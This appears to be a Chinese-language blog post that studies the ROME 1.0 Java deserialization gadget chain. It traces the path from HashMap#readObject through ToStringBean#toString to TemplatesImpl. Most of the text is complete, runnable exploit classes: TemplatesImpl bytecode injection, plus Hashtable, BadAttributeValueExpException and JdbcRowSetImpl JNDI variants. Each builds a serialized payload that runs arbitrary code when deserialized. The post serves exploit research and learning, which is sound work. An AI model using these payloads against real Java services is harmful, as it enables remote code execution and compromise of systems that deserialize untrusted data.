ROME链
介绍
ROME是一个用于解析和生成RSS和Atom提要(feed)的开源库。它简化了处理各种格式的RSS和Atom提要的过程,并支持几乎所有常见的RSS和Atom格式版本。
环境
jdk8u65
1 2 3 4 5
| <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>
|
ROME反序列化链
利用链
1
| HashMap#readObject -> ObjectBean#hashCode() -> EqualsBean#beanHashCode -> ToStringBean#toString() ->ToStringBean#toString(String) -> TemplatesImpl.getOutputProperties()
|
分析
Rome主要是调用 ToStringBean#toString
函数,通过里面的pReadMethod.invoke
来执行TemplatesImpl#getOutputProperties()
,这个函数并不陌生,在fastjson利用到过,并且后续部分在cc链学习过。所以我们希望控制的参数有this._obj
和this._beanClass
。这两个参数就是该类构造函数的参数。
BeanIntrospector.getPropertyDescriptors
函数是获取传入的Class对象对应的类中,这个类属性的gettet和setter函数,所以传入this._beanClass
是一个TemplatesImpl的Class对象,pds数组中就一定会有getOutputProperties这个方法,接着循环取出pds中的函数依次用反射操作调用,当pReadMethod.invoke
反射调用到getOutputProperties
方法时,this._obj
是我们构造的恶意TemplatesImpl类,就可以触发TemplatesImpl链执行命令了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| private String toString(String prefix) { StringBuffer sb = new StringBuffer(128);
try { PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass); if (pds != null) { for(int i = 0; i < pds.length; ++i) { String pName = pds[i].getName(); Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) { Object value = pReadMethod.invoke(this._obj, NO_PARAMS); this.printProperty(sb, prefix + "." + pName, value); } } } } catch (Exception var8) { sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n"); }
return sb.toString(); }
|
我们可以去找哪里调用了toString方法。
1 2 3 4 5
| HashMap#readObject -> ObjectBean#hashCode()
public int beanHashCode() { return this._obj.toString().hashCode(); }
|
整个链子不难,我们尝试一步步构造EXP,先从demo开始。从链尾一步步向前推。
先来个简单的TemplatesImpl链demo复习一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class demo1 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\calc.class")); byte[][] evilcode = {evil};
Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"cmisl");
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,evilcode);
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
templates.getOutputProperties();
} }
|
接着写出从toString作为链首的demo,根据最开始的分析很显然只需要让this._beanClass
是TemplatesImpl的Class类对象,this._obj
是构造的TemplatesImpl恶意类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ToStringBean;
import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class demo2 { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\calc.class")); byte[][] evilcode = {evil};
Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"cmisl");
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,evilcode);
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(templates.getClass(),templates);
toStringBean.toString();
} }
|
EXP
经过上面两个demo,我们接下来可以很轻易编写整条链的EXP了。中途需要从ObjectBean#hashCode方法到EqualsBean的beanHashCode方法,不过我们在初始化objectBean时候,objectBean内部就初始化了这个类,就不需要我们多写一步。不过,我们在构造EXP时,要先给objectBean里面_equalsBean设置一个其他类,避免在HashMap#put时提前触发恶意类指令,HashMap#put完之后将之前先给objectBean里面_equalsBean替换回来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class EXP { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\calc.class")); byte[][] evilcode = {evil};
Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"cmisl");
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,evilcode);
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates); ObjectBean objectBean = new ObjectBean(String.class, "cmisl");
HashMap hashMap = new HashMap(); hashMap.put(objectBean,"cmisl");
Field equalsBean = objectBean.getClass().getDeclaredField("_equalsBean"); equalsBean.setAccessible(true); equalsBean.set(objectBean,new EqualsBean(toStringBean.getClass(), toStringBean));
serialize(hashMap); unserialize("ser.bin");
}
public static void serialize(Object o) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object o = objectInputStream.readObject(); return o; } }
|
扩展
HashTable 替换 HashMap
在 HashTable
里面,对于 HashTable
中的每个元素,都会调用 reconstitutionPut()
方法,在reconstitutionPut()
方法中会调用键的hashcode函数,后续和HashMap一样了。不过不需要替换objectBean里面_equalsBean了。
1 2 3
| Hashtable hashtable = new Hashtable(); hashtable.put(objectBean,"cmisl"); serialize(hashtable);
|
BadAttributeValueExpException利用链
BadAttributeValueExpException#readObject()中会调用toString方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
|
构造一个BadAttributeValueExpException类,将其val属性设置为构造的toStringBean即可。当然要用反射来设置,因为在构造函数中,赋值val前会把我们传入的toStringBean调用toString,那么我们就无法正常接下来的序列化恶意类了。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class ROME_BadAttributeValueExpException_EXP { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("C:\\Users\\asus\\Desktop\\calc.class")); byte[][] evilcode = {evil};
Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"cmisl");
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,evilcode);
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("cmisl"); Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException,toStringBean);
serialize(badAttributeValueExpException); unserialize("ser.bin");
}
public static void serialize(Object o) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object o = objectInputStream.readObject(); return o; } }
|
JdbcRowSetImpl利用链
Fastjson中常出现的JdbcRowSetImpl的JNDI注入。
利用链
1
| HashMap#readObject -> ObjectBean#hashCode() -> EqualsBean#beanHashCode -> ToStringBean#toString() -> ToStringBean#toString(String) -> JdbcRowSetImpl#getDatabaseMetaData()
|
可以写个小demo体会一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
public class demo { public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/evilexp");
ToStringBean toStringBean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
toStringBean.toString(); } }
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap;
public class ROME_JdbcRowSet_EXP { public static void main(String[] args) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("rmi://127.0.0.1:1099/evilexp");
ToStringBean toStringBean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet); ObjectBean objectBean = new ObjectBean(String.class,"cmisl");
HashMap hashMap = new HashMap(); hashMap.put(objectBean,"cmisl");
Field equalsBean = objectBean.getClass().getDeclaredField("_equalsBean"); equalsBean.setAccessible(true); equalsBean.set(objectBean,new EqualsBean(toStringBean.getClass(),toStringBean));
serialize(hashMap); unserialize("ser.bin"); }
public static void serialize(Object o) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(o); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object o = objectInputStream.readObject(); return o; } }
|